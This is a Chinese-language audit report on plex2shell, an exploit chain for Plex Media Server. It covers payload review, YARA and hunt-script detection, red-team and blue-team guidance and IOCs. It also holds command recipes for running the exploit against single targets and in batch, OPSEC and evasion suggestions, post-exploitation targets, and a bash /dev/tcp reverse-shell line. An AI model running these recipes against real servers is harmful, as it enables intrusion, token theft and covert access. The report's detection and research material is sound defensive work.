sc()的内联汇编约束正确:\"=a\"(r)输出,\"a\"(n)/\"D\"(a)/\"S\"(b)/\"d\"(c)输入,rcx/r11/memoryclobber(syscall会破坏rcx/r11)。fork→ 子进程execve;父进程直接返回,不wait。envp={0}:空环境。- 缺点:
execve失败时只exit(7),没有回退;/bin/sh路径硬编码(Alpine 等无/bin/sh的环境会失败)。
6.4 payload_windows.c 审计
DllMain只做\"重生\",避免 loader lock 死锁——正确。- 防递归检查
rundll32——正确,但大小写只覆盖两种写法(rundll32/Rundll32),RUNDLL32会漏(不过 Windows 实际路径通常是rundll32.exe)。 RunShell用CALLBACK+dllexport,rundll32可按名调用。runcmd的管道/继承处理正确:SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0)防止读端被子进程继承。_snprintf不是安全版本,超长命令会截断;cmdline[8192]对一般命令够用。WaitForSingleObject(pi.hProcess, 30000)30s 超时,长命令会被截断。- 没有
closesocket的错误处理分支,但整体可用。
6.5 检测包审计
6.5.1 YARA(detection/yara/plex2shell.yar)
7 条规则,分三档:
| 规则 | 档位 | 抓什么 |
|---|---|---|
Plex2Shell_Dropped_Codec_ELF_YUV_Overlay |
high | ELF + 大段低熵尾部(dump-yuv 形状) |
Plex2Shell_Dropped_Codec_PE_YUV_Overlay |
high | PE DLL + 大 overlay |
Plex2Shell_Dropped_Codec_PoC_Geometry |
high | 文件大小是 345600(640×360 yuv420p 帧)的整数倍 + 0x80 尾 |
Plex2Shell_Dropped_Codec_Repeated_Frame |
high | 前 4 KiB 在某个偏移重复,且偏移整除文件大小 |
Plex2Shell_Linux_Payload_NoLibc_Constructor |
medium | 无 DT_NEEDED + /bin/sh + fork/execve/exit 邻近 |
Plex2Shell_Linux_Payload_RevShell_Command |
medium | 默认反弹命令字符串 |
Plex2Shell_Windows_Payload_DLL |
medium | READY /__CMDEND__/RunShell |
Plex2Shell_PMS_Log_Or_Prefs_Artifacts |
high | 日志/Preferences 里的利用特征 |
Plex2Shell_Exploit_Tool |
medium | 工具源码特征 |
Plex2Shell_Payload_Source_Templates |
medium | payload 模板占位符 |
Plex2Shell_Hunt_Lossless_AllIntra_x264_MP4 |
hunting | qp=0 + keyint=1 的 MP4 |
设计亮点:
- 结构规则优于字符串规则:即使 payload 重编译、改字符串,
*_YUV_Overlay仍能命中。 - 明确标注置信度与失效条件:
PoC_Geometry依赖默认几何;Repeated_Frame不依赖 padding 值;Hunt_*明确\"不要单独告警\"。 - ELF 规则用
elf.type == ET_DYN+ 无DT_NEEDED+ 段不覆盖尾部,避免误报静态 libc/musl。 - PE 规则用
pe.is_dll()+pe.overlay.size > 65536+ 尾部熵 < 0.5,并注释说明\"未 strip 的 mingw 构建会在 overlay 开头带符号表,所以只测最后 64 KiB\"。
可改进点:
Plex2Shell_Dropped_Codec_PoC_Geometry的filesize % 345600 == 0对\"非默认几何\"失效,作者自己已注明。Repeated_Frame对\"单帧载体\"失效,也已注明。- 没有针对\"Windows 上
hevc_decoder.dll命名 + Codecs 目录\"的组合规则(只有 PE 结构规则)。
6.5.2 狩猎脚本(detection/hunt/plex2shell-hunt.sh)
只读,退出码 0/1/2。检查项:
- 版本:
dpkg-query/rpm/日志里的Plex Media Server v...,用sort -V比较,低于1.43.3.10861告警。 - Preferences.xml:
TranscoderH264Options是否含dump-yuv或stats=;空值也告警(PoC 用空值清理)。 - 日志:高置信正则(timeline protocol、searchOne identifier、dump-yuv)、中置信(resources traversal、sslip.io、poc 标识)、非 loopback 转码。
- Codecs 目录:magic 为 ELF/MZ、大小 ≥128 KiB、尾部 64 KiB 单一字节 → HIT;
zz[0-9]*.so→ HIT;可选 YARA。 - 活动进程:
/proc/<pid>/maps里有(deleted)的 Codecs 文件 → HIT(rm -f后仍映射);- 命令行含
/dev/tcp/→ HIT; - shell 由
Plex Transcoder/Plex Media Server/Plex Script Host拉起 → HIT; - 以
plex运行且 environ 无PATH→ HIT(空 envp); script -qc /bin/sh /dev/null→ WARN。
设计亮点:
while read -r -d ''+find -print0处理含空格路径(Plex 路径里就有Application Support)。tail_uniform用od -An -v -tx1 | tr -s ' ' '\ ' | sort -u | head -2 | wc -l判断\"尾部是否单一字节\",纯 shell 实现。proc_name优先readlink /proc/pid/exe,回退comm,并处理(deleted)后缀。SHELLS正则覆盖常见 shell。- 明确\"run as root for complete /proc coverage\"。
可改进点:
version_lt用sort -V,对1.43.3.10861vs1.43.3.10828正确;但对带后缀的包版本(如1.43.3.10861-1)会先grep -oE '^[0-9.]+'截断,基本可用。tail_uniform只取前两个唯一字节,若尾部恰好两种字节交替会漏;但实际 dump-yuv 是单一填充,够用。- 进程检查依赖
/proc,容器内需要挂载宿主/proc或进入容器执行。
6.5.3 回归测试(detection/tests/run_tests.sh)
- 只构造合成 fixture(给正常
.so/.dll追加 0x80 尾巴),不编译、不加载 payload。 - 用
expect做\"精确规则集合\"比对(不是\"至少命中一条\")。 - 同时测 YARA、hunt 脚本、恶意/良性 fixture。
- 这是\"检测规则的单元测试\",在安全工具仓库里很少见。
6.6 代码缺陷与不一致(审计发现)
以下是静态审计中确认的问题,按影响排序:
| # | 位置 | 问题 | 影响 |
|---|---|---|---|
| 1 | plex2shell.py:713 |
错误信息 pass --setid,但 argparse 没有定义--setid |
discover_setid 失败时,用户按提示加参数会被 argparse 拒绝(unrecognized arguments),无法按提示恢复 |
| 2 | plex2shell.py:196 |
错误信息 raise --geometry,但没有定义--geometry |
同上;载体重建路径不可用 |
| 3 | plex2shell.py:620 |
banner 写 CVSS 10.0,README/commit 已改为 9.8 |
文档不一致,易误导报告 |
| 4 | README.md:3 |
写 < 1.43.3.10828,但 10828 本身也受影响,修复是 10861 |
版本边界表述不精确,可能导致漏 patch |
| 5 | plex2shell.py:643 |
端口 8952/8933/9001 硬编码,无 CLI 覆盖 |
端口冲突/多目标并发困难 |
| 6 | plex2shell.py:642 |
依赖 sslip.io 外部 DNS |
目标无外网 DNS/出站过滤时失败;应支持 nip.io 或自建 DNS |
| 7 | plex2shell.py:647 |
日志落 /tmp/.plexshell_<pid>.log,可预测 |
本机取证可见;多用户系统可能被读取 |
| 8 | plex2shell.py:544 |
rm -f '%s' 单引号包裹,未转义路径中的 ' |
极端路径下命令注入/失败(Plex 默认路径不含单引号,风险低) |
| 9 | plex2shell.py:700-707 |
Windows LocalAppDataPath 解析用正则,路径含引号/反斜杠时可能截断 |
非默认安装路径可能失败 |
| 10 | plex2shell.py:744 |
第一次转码后固定 sleep(10) |
大载体/慢机器可能未写完就进入第二次转码,导致 dlopen 失败 |
| 11 | plex2shell.py:308 |
_TOKEN_RE 只匹配 local- 前缀 |
若 Plex 改了 token 格式,捕获器会漏 |
| 12 | plex2shell.py:229 |
CALLBACKS 只写不读 |
死代码 |
| 13 | payload_linux.c:16 |
execve 失败仅 exit(7) |
无回退,失败即静默 |
| 14 | payload_windows.c:83 |
防递归只匹配 rundll32/Rundll32 |
RUNDLL32 全大写会漏(实际影响小) |
| 15 | discover_setid:385 |
正则 [0-9a-f]{7}-[0-9a-f]{24,26} 假设固定格式 |
不同 Plex 版本 set-id 格式变化会失败 |
这些缺陷不影响主链成立(在默认路径/默认环境下),但会影响\"非默认环境\"的可靠性。写报告时应如实标注。
6.7 设计妙处(\"骚操作\"清单)
/dev/tty+redirect_stdout双通道:进度条上终端,细节进日志,互不干扰。- 比特级载体自校验:先本地证明\"编码→解码 = 原字节\",再打目标。
- sslip.io 前缀绕过:字符串检查看
127.0.0.1前缀,DNS 解析看后半段 IP。 #截断:用 fragment 把拼接在后面的/messaging/<key>丢掉。?开查询串:把identifier变成\"路径 + 参数\"的完全控制。dump-yuv当任意写:x264 调试选项 →fopen/fwrite。qp=0无损:保证写入的.so与输入逐字节一致。- Codecs 自动
dlopen:不签名、不要可执行位、不要符号 → 文件写即 RCE。 - 两次转码:第一次写、第二次加载,避免\"写了但没触发枚举\"。
rm -f so_path后仍运行:Linux 删除已映射文件不影响执行,磁盘无残留。hevc_decoder.dll伪装:Windows 落盘名伪装成正常解码器。- 空
envp:payload 更\"干净\",但也被检测规则反向利用。 script -qcPTY 升级:反弹 shell 支持交互程序。setsid脱离会话:减少父进程死亡导致的连带终止。finally清偏好:异常也清理,降低持久化痕迹。- set-id 用合法 API 枚举:不猜路径。
- 检测包与利用包同仓:攻防成对,便于蓝队验证。
7. 架构设计分析
7.1 分层图
┌─────────────────────────────────────────────────────────────┐
│ CLI 层 argparse(5 参数)+ Step 进度状态机 │
├─────────────────────────────────────────────────────────────┤
│ 编排层 main():阶段 0-5,异常/清理 │
├─────────────────────────────────────────────────────────────┤
│ 原语层 steal_owner_token / discover_setid / │
│ run_transcode / build_payload / build_carrier │
├─────────────────────────────────────────────────────────────┤
│ 传输层 TokenCatcher(8952) / Listener(8933) / │
│ revshell listener(9001) / hget / preq │
├─────────────────────────────────────────────────────────────┤
│ 载荷层 payload_linux.c / payload_windows.c │
├─────────────────────────────────────────────────────────────┤
│ 目标 API /player/timeline /system/agents /:/prefs │
│ /video/:/transcode/universal │
└─────────────────────────────────────────────────────────────┘
7.2 关键设计决策
| 决策 | 理由 | 代价 |
|---|---|---|
| 纯标准库 | 攻击机零依赖,落地快 | 无异步/重试框架,靠 threading 手工编排 |
分阶段可跳过(--token) |
已拿到 token 时省掉最吵的 SSRF 阶段 | 需要额外的 token 获取途径 |
| payload 现场编译 | 适配目标架构/OS,避免预编译特征 | 攻击机需要 gcc/mingw |
| 载体现场生成 | 几何/大小可按目标调整 | 需要 ffmpeg,耗时 |
| 三个独立端口 | 职责分离,便于调试 | 端口固定,易冲突 |
| 检测包同仓 | 蓝队可复现/验证规则 | 仓库体积略大 |
7.3 状态机
STAGES 是\"声明式进度\":
STAGES = [(\"Connecting to target\", 12), (\"Capturing owner token\", 40),
(\"Verifying access\", 52), (\"Building payload\", 72),
(\"Delivering payload\", 88), (\"Opening session\", 99)]
每个 Step(i) 的 base = STAGES[i-1][1],ceil = STAGES[i][1],进度条从 base 缓动到 ceil。这让\"长时间阻塞操作\"有可感知的反馈,也让失败点一目了然。
7.4 与同类工具的架构对比
| 工具 | 架构 | 与本工具差异 |
|---|---|---|
单文件 exploit.py |
线性脚本 | 本工具有 UI/阶段/清理/跨平台/检测包 |
| Metasploit module | 框架内、参数化 | 本工具独立、无框架依赖、更轻 |
| Cobalt Strike aggressor | 后渗透平台 | 本工具只做初始访问,不含 C2 |
| 研究型 PoC(如 Project Zero) | 最小复现 | 本工具偏\"产品化\",含蓝队件 |
8. 落地实网攻防环境
边界:以下内容是\"授权红队/攻防演练\"的作业方法学与防御视角,不构成对任何未授权目标的攻击指引。实网使用必须持有书面授权,并遵守当地法律。
8.1 前置条件核查(打之前先确认)
| 条件 | 检查方法 | 不满足的后果 |
|---|---|---|
目标版本 < 1.43.3.10861 |
curl -s http://T:32400/identity 看 version |
链不成立 |
| 32400 可达 | nmap -p32400 / 直接请求 |
无法触达 |
| 攻击机可被目标反向访问 | 目标能连回 attacker-ip:8952/8933/9001 |
token/载体/反弹都失败 |
| 目标可解析外部 DNS | 目标能解析 sslip.io |
token 泄露阶段失败 |
攻击机有 ffmpeg + gcc/mingw |
command -v |
载荷构建失败 |
| 目标 Plex 以可写 Codecs 目录运行 | 默认安装即是 | 写入失败 |
8.2 红队作业面(授权范围内)
- 外网暴露面测绘:Plex 默认 32400,常见于家庭宽带/小型云主机/NAS。用资产测绘确认版本,不要盲目打。
- 优先级:能直连 32400 且版本脆弱的资产 > 仅 Web 反代(可能只暴露 443)> 已打补丁。
- OPSEC:
- 工具会留下
PUT /:/prefs(INFO 级,必记)和 SSRF/转码请求(DEBUG 级);默认日志级别下大部分可见。 finally会清TranscoderH264Options,但不会清日志;rm -f so_path会删落盘.so,但/proc/<pid>/maps仍可能显示(deleted)映射。- token 泄露后,目标侧会记录
Signed-in Token (...);蓝队可通过\"异常 owner token 使用\"发现。
- 后渗透:
uid=1000(plex)通常权限有限,但常见高价值:
- 挂载的媒体库/NFS/SMB(可能含凭据);
- 同机其他服务配置;
- 云元数据(若在云主机);
- Plex 自身的
Preferences.xml(含PlexOnlineToken)。
- 不要做的事:不要在未授权资产上跑;不要用默认端口扫全网;不要在目标上留持久化(本工具本身不留)。
8.3 蓝队检测面(与红队对称)
| 阶段 | detectable 信号 |
|---|---|
| SSRF 注册 | /player/proxy/poll 异常客户端;X-Plex-Client-Identifier=poc_* |
| SSRF 触发 | /player/timeline/subscribe 的 protocol= 含 ://;unsubscribe 后 loopback POST |
| Loopback 注入 | /system/agents/*/searchOne 的 identifier 含 %2Ffunction%2F;Loopback 来源的异常请求 |
| Token 泄露 | 出站请求到 *.sslip.io/*.nip.io;X-Plex-Token 出现在非 Plex 域名 |
| 任意写 | PUT /:/prefs 的 TranscoderH264Options 含 dump-yuv/stats= |
| 转码 SSRF | path=http(s):// 非 loopback;item.xml/carrier.mp4 拉取 |
| 落盘 | Codecs 目录出现 ELF/PE + 大段 0x80 尾;zz*.so/hevc_decoder.dll |
| 执行 | Plex Transcoder 的子进程是 shell;/dev/tcp 命令行;script -qc;plex 用户进程无 PATH |
| 持久化 | Preferences.xml 残留 dump-yuv;Codecs 里残留 .so |
8.4 处置建议(Plex 官方 + 检测侧)
- 升级到
1.43.3.10861+(Linux/NAS/Docker 需手动升级)。 - 清理 Codecs 目录(删除未知
.so/.dll)。 - 检查
Preferences.xml的TranscoderH264Options,清空异常值。 - 吊销 token:Plex 设置里\"登出所有设备\",修改 Plex 密码。
- 视为可能失陷:若曾公网暴露且版本脆弱,建议干净重装 + 排查挖矿/代理。
- 网络侧:不要把 32400 直接暴露公网;用 VPN/反代/防火墙白名单;限制出站 DNS/HTTP。
- 监控:对上述信号建规则(YARA + 日志 + 进程 + 网络)。
9. 检测与防御(可执行)
9.1 快速排查命令
# 1) 版本
curl -s http://T:32400/identity | grep -o 'version=\"[^\"]*\"'
# 2) 偏好是否被改
grep -o 'TranscoderH264Options=\"[^\"]*\"' \\
\"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Preferences.xml\"
# 3) Codecs 里的可疑文件(ELF/PE + 大尾巴)
find \"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs\" \\
-type f -size +128k -exec sh -c 'head -c4 \"$1\" | od -An -tx1' _ {} \\;
# 4) 进程侧
ps -eo pid,ppid,user,args | grep -E 'Plex|/dev/tcp|script -qc'
ls -l /proc/*/exe 2>/dev/null | grep -i codecs
# 5) 日志侧
grep -aE 'timeline/subscribe.*protocol=.*(%3a|:)' \\
\"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Logs/\"*.log
grep -aE 'searchOne.*identifier=.*(%2f|/)function(%2f|/)' .../Logs/*.log
grep -aE 'TranscoderH264Options.*(dump-yuv|stats=)' .../Logs/*.log
grep -aE '(sslip|nip)\\.io' .../Logs/*.log
9.2 YARA
yara -r -w detection/yara/plex2shell.yar \\
\"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server\"
三档使用建议:
- high:可直接告警(结构规则,抗改编译)。
- medium:用于 triage,需人工确认。
- hunting:只用于排序,不单独告警(lossless all-intra 也可能是正常制作流程)。
9.3 主机狩猎
sudo ./detection/hunt/plex2shell-hunt.sh
# 指定目录(离线拷贝)
./detection/hunt/plex2shell-hunt.sh -P -a \"/path/to/Plex Media Server\"
# 指定规则
./detection/hunt/plex2shell-hunt.sh -y detection/yara/plex2shell.yar
退出码:0 干净,1 警告,2 命中。
9.4 网络侧
- 出站 DNS 日志里出现
*.sslip.io、*.nip.io(尤其是127.0.0.1.*前缀)→ 高危。 - Plex 主机出站到非标准端口(8952/8933/9001)→ 可疑。
- Plex 主机对自身 32400 的 loopback POST 突然增多 → 可疑。
- 转码器拉取外部
item.xml/carrier.mp4→ 可疑。
9.5 修复优先级
| 优先级 | 动作 |
|---|---|
| P0 | 升级到 1.43.3.10861+;清理 Codecs;吊销 token |
| P1 | 关闭 32400 公网直连;加 VPN/反代 |
| P2 | 限制出站 DNS/HTTP;监控 sslip.io |
| P3 | 部署 YARA/狩猎脚本;建日志告警 |
10. Cheat Sheet:把参数当\"功能模块\"
工具的 CLI 只有 5 个业务参数,但每个参数都是一个\"能力开关\"。下面按\"模块组合\"给出配方。 注意:
-h/--help是帮助;-H不是本工具的参数(不要混用)。
10.1 参数语义表
| 参数 | 类型 | 作用 | 可组合性 |
|---|---|---|---|
--target host:port |
必填 | 目标 PMS | 单目标;批量需外层循环 |
--attacker-ip IP |
必填 | 目标回连地址 | 必须是目标可达的地址 |
--target-os {linux-native,linux-docker,windows} |
可选,默认 linux-native |
决定路径/后缀/编译器 | 与目标实际部署一致 |
--token TOKEN |
可选 | 跳过 SSRF,直接用 owner token | 与 --target-os 组合 |
--exec CMD |
可选 | 单命令执行后退出 | 与 --token 组合最稳 |
-h/--help |
可选 | 帮助 | — |
10.2 基础配方
# R1 标准直连(Linux 原生)
python3 plex2shell.py \\
--target 10.0.0.5:32400 \\
--attacker-ip 203.0.113.9
# R2 Docker 部署
python3 plex2shell.py \\
--target 10.0.0.5:32400 \\
--attacker-ip 203.0.113.9 \\
--target-os linux-docker
# R3 Windows 目标(需要 mingw)
python3 plex2shell.py \\
--target 10.0.0.5:32400 \\
--attacker-ip 203.0.113.9 \\
--target-os windows
10.3 分阶段配方(先拿 token,再复用)
# R4 只走 SSRF 拿 token(不落 payload):可用 --exec 跑一个无害命令观察
python3 plex2shell.py --target T:32400 --attacker-ip A --exec'id'
# R5 已拿到 owner token:跳过最吵的 SSRF 阶段
python3 plex2shell.py \\
--target T:32400 --attacker-ip A \\
--token 'local-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' \\
--target-os linux-docker \\
--exec'id; uname -a; ls -la /config'
# R6 单命令 + 指定 OS + 静默
python3 plex2shell.py --target T:32400 --attacker-ip A --target-os windows \\
--exec'whoami /all'
10.4 批量与脚本化(外层把参数当模块)
# R7 逐目标串行,日志分文件(注意端口是硬编码的,串行最稳)
while IFS=: read -r host port; do
echo\"== $host:$port ==\"
timeout 300 python3 plex2shell.py \\
--target \"$host:$port\" --attacker-ip \"$ATTACKER\" \\
--target-os linux-docker --exec'id' \\
>> \"out/${host}_${port}.log\" 2>&1
done < targets.txt
# R8 并行(必须做网络隔离/端口重映射,否则 8952/8933/9001 冲突)
# 方案:每个任务一个 network namespace + 端口映射
for t in $(cat targets.txt); do
unshare -n -- bash -c \"
ip link set lo up
ip addr add 10.99.0.2/24 dev lo 2>/dev/null || true
python3 plex2shell.py --target $t --attacker-ip 10.99.0.2 --exec 'id'
\" &
done
wait
说明:工具没有
--token-port/--carrier-port/--lport参数(硬编码在plex2shell.py:643)。要并行,必须做命名空间/端口重映射,或改源码。
# R9 从 token 文件批量复用(假设已通过其他途径获得 token)
while read -r target token; do
python3 plex2shell.py --target \"$target\" --attacker-ip \"$ATTACKER\" \\
--token \"$token\" --exec 'id'
done < tokens.tsv
# R10 结果结构化:只取命令输出,过滤 UI
python3 plex2shell.py --target T:32400 --attacker-ip A --exec 'id' 2>/dev/null \\
| sed -n '/session opened/,$p' | grep -v '^$'
10.5 前置/后置模块
# R11 版本预检(不进利用链)
curl -s --max-time 5 \"http://$T:32400/identity\" | grep -o 'version=\"[^\"]*\"'
# R12 只验证 owner 权限(需要 token)
curl -s -H \"X-Plex-Token: $TOKEN\" \"http://$T:32400/:/prefs\" -o /dev/null -w '%{http_code}\
'
# R13 检测侧:跑 YARA + 狩猎
yara -r -w detection/yara/plex2shell.yar \"$PLEX_DIR\"
sudo detection/hunt/plex2shell-hunt.sh -a \"$PLEX_DIR\"
# R14 清理(防守方)
# 升级 + 清 Codecs + 清偏好 + 吊销 token(在 Plex UI 操作)
10.6 常见组合陷阱
| 陷阱 | 现象 | 处理 |
|---|---|---|
--target 不带端口 |
--target must be host:port |
补 :32400 |
--attacker-ip 用了目标不可达的私网地址 |
token 捕获超时 | 用目标能回连的地址 |
| 目标无外网 DNS | sslip.io 解析失败,token 拿不到 |
改用 --token 跳过;或自建 DNS |
| 端口被占用 | Address already in use |
串行;或改源码端口 |
| Windows 目标没 mingw | need 'x86_64-w64-mingw32-gcc' |
apt install gcc-mingw-w64-x86-64 |
--setid 报错 |
argparse 不认识 | 这是代码缺陷(见 6.6),需改源码 |
| 目标版本已修复 | prefs returned 401/403 |
换目标/放弃 |
11. 冷门但常用的命令语法(本项目语境)
这些语法在工具源码/检测脚本里真实出现,或在其作业流程中高频使用;\"冷门\"指容易被忽略但很实用。
11.1 Python
| 语法 | 用途 | 例子 |
|---|---|---|
argparse 的 dest= |
参数名与变量名解耦 | --exec → args.exec_cmd |
shutil.which() |
跨平台找可执行文件 | shutil.which(\"gcc\") |
subprocess.check_call([...]) |
列表参数避免 shell 注入 | 编译 payload |
redirect_stdout(log) |
只重定向 Python 层 stdout | 进度条与日志分离 |
threading.Event |
线程间\"完成/命中\"信号 | listener.got.wait(timeout=...) |
daemon=True |
主线程退出时自动清理 | 监听线程 |
socket.settimeout / setblocking(False) |
非阻塞收包 | PTY 桥 |
select.select([0, conn], [], []) |
同时等 stdin 和 socket | 交互 shell |
termios.tcgetattr/tcsetattr + tty.setraw |
原始终端模式 | 交互 shell |
fcntl.ioctl(TIOCGWINSZ) |
取终端行列 | stty rows/cols |
struct.unpack(\"HHHH\", ...) |
解析 winsize | 同上 |
urllib.parse.quote(s, safe=\"\") |
全编码(含 /) |
双重编码 |
urllib.parse.urlencode(params, quote_via=quote) |
查询串编码 | PUT /:/prefs |
open(\"/dev/tty\",\"w\") |
绕过 stdout 重定向 | 进度条 |
types.SimpleNamespace(...) |
临时参数对象 | sargs |
with redirect_stdout(log): |
上下文管理器 | 阶段日志 |
data[:4] != b\"\\x7fELF\" |
magic 校验 | payload 校验 |
frame * 3 |
重复字节序列 | 三帧载体 |
re.search(rb'...', body) |
字节正则 | set-id 提取 |
11.2 Bash / 检测脚本
| 语法 | 用途 | 例子 |
|---|---|---|
set -u |
未定义变量报错 | 狩猎脚本开头 |
LC_ALL=C |
稳定排序/字节比较 | 同上 |
while IFS= read -r -d '' f; do ...; done < <(find ... -print0) |
安全处理含空格/换行文件名 | Plex 路径含空格 |
$(cd \"$(dirname \"$0\")\" && pwd) |
脚本自定位 | SELF_DIR |
getopts \"a:y:Ph\" |
短选项解析 | 狩猎脚本 |
| `printf '%s\ | ||
| %s\ | ||
| ' a b \ | sort -V \ | head -1| 版本比较 |version_lt` |
grep -aoE |
只取匹配、按文本处理二进制 | 日志提取 |
od -An -v -tx1 |
十六进制 dump | magic 检查 |
| `tr -s ' ' '\ | ||
| ' \ | sort -u \ | head -2 \ |
stat -c %s/%y/%U |
大小/时间/属主 | 取证 |
readlink /proc/$pid/exe |
进程真实路径 | proc_name |
${e% (deleted)} |
去掉后缀 | 处理 deleted |
tr '\\0' ' ' < /proc/$pid/cmdline |
读命令行 | 进程检查 |
| `tr '\0' '\ | ||
| ' < /proc/$pid/environ` | 读环境变量 | 空 PATH 检测 |
awk '{$1=$2=$3=$4=$5=\"\"; print}' |
去掉 maps 前五列 | 映射检查 |
find ... -print0 + read -d '' |
空字符分隔 | 防空格 |
2>/dev/null |
静默错误 | 大量使用 |
\\r\\033[K |
清行 + 回车 | 进度条 |
exec 0<>/dev/tcp/IP/PORT |
bash 内建 TCP | 反弹 shell |
script -qc /bin/bash /dev/null |
分配 PTY | 交互升级 |
setsid ... & |
新会话后台 | 脱管 |
11.3 YARA
| 语法 | 用途 |
|---|---|
uint32(0) == 0x464C457F |
ELF magic |
uint16(0) == 0x5A4D |
PE magic |
elf.type == elf.ET_DYN |
共享对象 |
for none i in (0 .. elf.dynamic_section_entries - 1) : (...) |
断言无 DT_NEEDED |
for all i in (0 .. elf.number_of_segments - 1) : (...) |
所有段不覆盖尾部 |
math.entropy(offset, length) |
尾部熵 |
math.count(0x80, offset, length) |
统计填充字节 |
hash.md5(offset, length) |
重复块比对 |
pe.overlay.size |
PE overlay |
pe.exports(\"RunShell\") |
导出符号 |
for any i in (1 .. #fork) |
多匹配遍历 |
@exec[j] - @fork[i] < 256 |
指令邻近度 |
2 of them / all of them |
字符串集合 |
nocase |
大小写不敏感 |
filesize % 345600 == 0 |
几何特征 |
12. AI 辅助设计:头脑风暴与多版本对比
作者在 write-up 里明确说:用 LLM 做 Recon → Hunt → Verify → Chain,但\"判断和优先级是人做的\"。下面把这个方法拆成可复用的设计。
12.1 AI 辅助的四阶段
| 阶段 | 给 AI 的输入 | 要 AI 产出 | 人负责什么 |
|---|---|---|---|
| Recon | 架构文档/二进制符号/路由表 | 组件图、输入→sink 清单 | 划定边界、去重、判断可达性 |
| Hunt | 单个组件 + sink 清单 | 候选漏洞、触发条件 | 排除误报、判断可利用性 |
| Verify | 候选 + 反证要求 | \"反方论证\"(为什么它不成立) | 决定是否继续 |
| Chain | 已确认原语列表 | 组合路径、影响评估 | 选最大影响链、控制风险 |
关键:Verify 阶段要\"让 AI 试图推翻\",而不是\"让 AI 确认\"。这能显著降低幻觉。
12.2 方案对比(同一目标,不同打法)
| 方案 | 路径 | 前置 | 噪声 | 可靠性 | 适用 |
|---|---|---|---|---|---|
| A 全链直连 | SSRF → token → 写 → 执行 | 目标可回连 + DNS | 高(SSRF/转码/日志) | 中(依赖 sslip.io/时序) | 授权红队、一次性 |
| B 预捕获 token | 跳过 SSRF,直接 --token |
已有 owner token | 低(只有 prefs/转码) | 高(少两跳) | 已控 token、复测 |
| C 仅验证 SSRF | 只打 timeline,不拿 token | 无 | 中 | 高 | 漏洞验证/报告 |
| D 仅验证文件写 | 有 token,只做 dump-yuv | owner token | 低 | 高 | 验证 96655/96656 |
| E 检测优先 | 不利用,跑 YARA/hunt | 无 | 无 | 高 | 蓝队、应急 |
| F 纯静态 | 读源码/补丁 | 无 | 无 | 高 | 研究、报告 |
选择建议:
- 授权红队且要\"完整战果\":A(或 B 如果已有 token)。
- 只做漏洞验证:C/D,减少影响面。
- 蓝队/应急:E。
- 写报告/研究:F + 公开 write-up。
12.3 设计迭代思路(如果要做\"二代\")
| 改进点 | 现状 | 建议 |
|---|---|---|
| 端口可配置 | 硬编码 8952/8933/9001 | 加 --token-port/--carrier-port/--lport |
| DNS 备选 | 只用 sslip.io | 支持 nip.io、自建 DNS、--dns-suffix |
| 可靠性 | 固定 sleep(10) |
轮询 Codecs 文件出现/大小稳定 |
| 错误恢复 | --setid /--geometry 未定义 |
补全参数 |
| 多目标 | 单目标 | 内置队列 + 命名空间隔离 |
| 载体 | 固定 640×360 | 自动选择最小可行几何 |
| 检测 | 已有 YARA/hunt | 加 Sigma/EDR 规则、网络 IDS 规则 |
| OPSEC | 日志可预测 | 随机日志名、内存日志、退出清理 |
12.4 AI 辅助的边界
- AI 擅长:枚举、模式匹配、生成候选、写检测规则、整理报告。
- AI 不擅长:判断\"这个输入是否真的可达\"、评估业务影响、决定是否值得打。
- 结论:AI 做广度,人做深度与决策。作者的 write-up 也是这个立场。
13. 结论与局限
13.1 结论
plex2shell是一个高质量、产品化的漏洞链 PoC:分阶段 UI、跨平台、载体自校验、清理逻辑、检测包齐全。- 它的核心不是\"某个单点漏洞\",而是四个中低危缺陷的组合:存在性鉴权 → loopback 信任 → 前缀匹配 + DNS 解析差 → 调试选项任意写 → 无签名加载。
- 技术上有两个真正的\"亮点\":
- lossless H.264 YUV 作为二进制载体(
qp=0+dump-yuv); 127.0.0.1前缀 + sslip.io 的认证/解析差。
- 防御上,单看 CVE 分值会低估风险;必须按\"链\"评估,并优先处理\"可组合的低危\"。
- 工具本身有若干工程缺陷(
--setid/--geometry未定义、端口硬编码、固定 sleep),不影响默认环境主链,但影响非默认环境的可靠性。
13.2 局限
- 本报告是静态审计:未在真实 Plex 实例上复现,所有\"执行\"描述基于公开 write-up + 源码 + 官方通告。
- 未验证 Windows/NAS/macOS 分支的实际可用性;
PLATFORMS只覆盖三种。 - 未对 Plex 二进制做逆向(
avpriv_load_new_libs、hasParam等来自作者 write-up,未独立复核字节级实现)。 - CVE 分值以 NVD 为准;不同来源(Censys/CSH)有差异,已在文中标注。
附录 A:IOC 与映射
A.1 主机 IOC
| 类型 | 值 |
|---|---|
| 文件路径 | /Codecs/<setid>-<platform>/zz<digits>.so |
| 文件路径 | /Codecs/<setid>-windows-x86_64/hevc_decoder.dll |
| 文件特征 | ELF/PE + 尾部 ≥64 KiB 单一 0x80;大小常为 345600 的倍数 |
| 配置 | Preferences.xml 的 TranscoderH264Options 含 dump-yuv= 或 stats= |
| 进程 | Plex Transcoder 子进程为 shell;/dev/tcp;script -qc;plex 用户无 PATH |
| 内存 | /proc/<pid>/maps 有 (deleted) 的 Codecs 文件 |
A.2 网络 IOC
| 类型 | 值 |
|---|---|
| 域名 | *.sslip.io 、*.nip.io(尤其 127.0.0.1.* 前缀) |
| 请求 | /player/timeline/subscribe?...protocol=<URL> |
| 请求 | /system/agents/*/searchOne?...identifier=...%2Ffunction%2F... |
| 请求 | PUT /:/prefs?TranscoderH264Options=dump-yuv=... |
| 请求 | /video/:/transcode/universal?...path=http(s)://... |
| 端口 | 8952(token)、8933(媒体)、9001(反弹) |
A.3 MITRE ATT&CK
| 战术 | 技术 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application |
| Credential Access | T1552 Unsecured Credentials(token 泄露) |
| Valid Accounts | T1078(owner token 复用) |
| Execution | T1059.004 Unix Shell / T1059.003 Windows Command Shell |
| Ingress Tool Transfer | T1105 |
| Hijack Execution Flow | T1574(Codecs 目录加载) |
| Resource Hijacking | T1496(在野挖矿) |
| Proxy | T1090(在野 proxyware) |
| Indicator Removal | T1070(清偏好、删 .so) |
附录 B:关键源码索引
| 功能 | 位置 |
|---|---|
| 参数定义 | plex2shell.py:619-629 |
| 平台表 | plex2shell.py:115-134 |
